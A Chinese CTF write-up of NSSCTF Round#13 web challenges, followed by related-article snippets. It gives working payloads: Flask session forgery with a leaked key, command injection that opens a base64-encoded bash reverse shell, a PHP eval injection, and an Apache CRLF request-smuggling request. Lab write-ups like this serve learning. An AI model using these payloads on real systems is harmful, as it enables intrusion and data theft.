rank:3

flask?jwt?

简单的注册个账号,在/changePassword 下查看页面源代码发现密钥<!-- secretkey: th3f1askisfunny --> ,很好,老套路了,flask-session-cookie-manager伪造,把_user_id 改成1,访问/getFlag ,拿到flag

ez_factors

查看页面源代码,发现路由/factors/114514 ,访问发现114514被分解,猜测后台逻辑是利用linux命令factor对/factors/后接的字符执行,这样直接用; 来个多命令执行,访问/factors/114514;cd ..;cd ..;cd ..;cd ..;cat flag ,有东西不过是一串数字,嗯,看样子应该是读不出来了,直接反弹shell,echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=|base64 -d|bash ,利用base64防止有/导致破坏路由,成功反弹shell

MyWeb

代码如下:

<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧 if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
}

很明显能命令执行,写个1进去,read之后是这样的

看代码把] 替换成, $value] ,猜测它的json文件是这样写的:[1,2,3········] 这样我们构造把它闭合不就能执行命令了,直接构造个

];%0aecho `cat /flag`;%0a[

]闭合前面的[,[则闭合后面的],%0a换行确保我们的命令能执行

read一下,拿到flag

flask?jwt?(hard)

第一道题的复仇版,其实也没多啥内容,就开了个Debug,让我们找密钥,还是先注册个账号登录,页面源代码给了个/wor 路由,访问之后,没什么有用的信息,我们直接给seesion改了,删减几个字符,成功进入Debug页面,这里直接抓包,搜secret,成功拿到密钥

接下来跟第一道一样的步骤,这里不在赘述

信息收集

Apache HTTP Server2.4.55,百度一下这个版本,有个请求走私漏洞,但我们啥也不知道,不知道走私哪

参考这篇文章http://www.hackdig.com/03/hack-949961.htm

访问index.php,这里有个任意文件读取,读/usr/local/apache2/conf/httpd.conf 发现这个

嗯,做了个proxy转发,猜测flag直接就在转发后当前目录flag.txt里(瞎猜就是了,大不了多试试),利用CRLF注入,payload:

/nssctf/0%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/flag.txt

TimeTrcer

做大牢,前端做不了一点

NSSCTF Round#13 web专项的更多相关文章

  1. Codeforces Beta Round #13 C. Sequence (DP)

    题目大意 给一个数列,长度不超过 5000,每次可以将其中的一个数加 1 或者减 1,问,最少需要多少次操作,才能使得这个数列单调不降 数列中每个数为 -109-109 中的一个数 做法分析 先这样考 ...

  2. php课程 1-3 web项目中php、html、js代码的执行顺序是怎样的(详解)

    php课程 1-3 web项目中php.html.js代码的执行顺序是怎样的(详解) 一.总结 一句话总结:b/s结构 总是先执行服务器端的先.js是客户端脚本 ,是最后执行的.所以肯定是php先执行 ...

  3. 简易数据分析 13 | Web Scraper 抓取二级页面

    这是简易数据分析系列的第 13 篇文章. 不知不觉,web scraper 系列教程我已经写了 10 篇了,这 10 篇内容,基本上覆盖了 Web Scraper 大部分功能.今天的内容算这个系列的最 ...

  4. Codeforces Beta Round #13 E. Holes 分块暴力

    E. Holes Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/13/problem/E Des ...

  5. [异常记录-13]Web Deploy发布:An error occurred when the request was processed on the remote computer

    大概搜了一下这个报错,大家的情况各不相同,但应该是 Web Deploy 安装导致的没错了... 建议粗暴解决,  卸载后重新安装 Web Deploy 时,不要选那个经典还是典型的安装选项,选自定义 ...

  6. Educational Codeforces Round 13 A、B、C、D

    A. Johny Likes Numbers time limit per test 0.5 seconds memory limit per test 256 megabytes input sta ...

  7. Educational Codeforces Round 13 A

    Description Johny likes numbers n and k very much. Now Johny wants to find the smallest integer x gr ...

  8. Educational Codeforces Round 13 D:Iterated Linear Function(数论)

    http://codeforces.com/contest/678/problem/D D. Iterated Linear Function Consider a linear function f ...

  9. Educational Codeforces Round 13 E. Another Sith Tournament 概率dp+状压

    题目链接: 题目 E. Another Sith Tournament time limit per test2.5 seconds memory limit per test256 megabyte ...

  10. Educational Codeforces Round 13 D. Iterated Linear Function (矩阵快速幂)

    题目链接:http://codeforces.com/problemset/problem/678/D 简单的矩阵快速幂模版题 矩阵是这样的: #include <bits/stdc++.h&g ...

随机推荐

  1. HDU 4787 GRE Revenge

    Now Coach Pang is preparing for the Graduate Record Examinations as George did in 2011. At each day, ...

  2. [GDOIpj222A] 点指兵兵

    第一题 点指兵兵 提交文件: bing.cpp 输入文件: bing.in 输出文件: bing.out 时间空间限制: 1 秒, 256 MB 你一定有过在两个物品之间犹豫不决的时候,想要借助一些方 ...

  3. [ABC265A] Apple

    Problem Statement A fruit store sells apples. You may perform the following operations as many times ...

  4. skywalking自定义插件开发

    skywalking是使用字节码操作技术和AOP概念拦截Java类方法的方式来追踪链路的,由于skywalking已经打包了字节码操作技术和链路追踪的上下文传播,因此只需定义拦截点即可. 这里以sky ...

  5. springBoot——读取数据

    在yml文件中读取数据,用$符号就可以 类似于这样的 如果要读取yml里面全部的数据,就用自动装配来写 而如果要用实体类来读取里面的数据 package com.example.springboot_ ...

  6. SpringBoot使用maven打jar包配置

    在pom.xml文件中加入依赖 <parent> <groupId>org.springframework.boot</groupId> <artifactI ...

  7. 在 Walrus 上轻松集成 OpenTofu

    OpenTofu 是什么? OpenTofu 是一个开源的基础设施即代码(IaC)框架,被提出作为 Terraform 的替代方案,并由 Linux 基金会管理.OpenTofu 的问世为应对 Has ...

  8. JavaFx之使用指定字体样式(二十九)

    JavaFx之使用指定字体样式(二十九) javafx use specified font 29 javafx默认的字体样式太丑,可能需要我们自定义字体样式. 之前说好放弃学习javafx,没想到越 ...

  9. 【scikit-learn基础】--『监督学习』之 决策树分类

    决策树分类算法是一种监督学习算法,它的基本原理是将数据集通过一系列的问题进行拆分,这些问题被视为决策树的叶子节点和内部节点.决策树的每个分支代表一个可能的决策结果,而每个叶子节点代表一个最终的分类结果 ...

  10. [LitCTF 2023]1zjs

    打开环境: 一个魔方♂ 习惯性打开 F12,之后发现有个./dist/index.umd.js Ctrl u 打开 把这个蓝色的点开 0.o? 这里眼神好的话就能看到有个" /f@k3f1a ...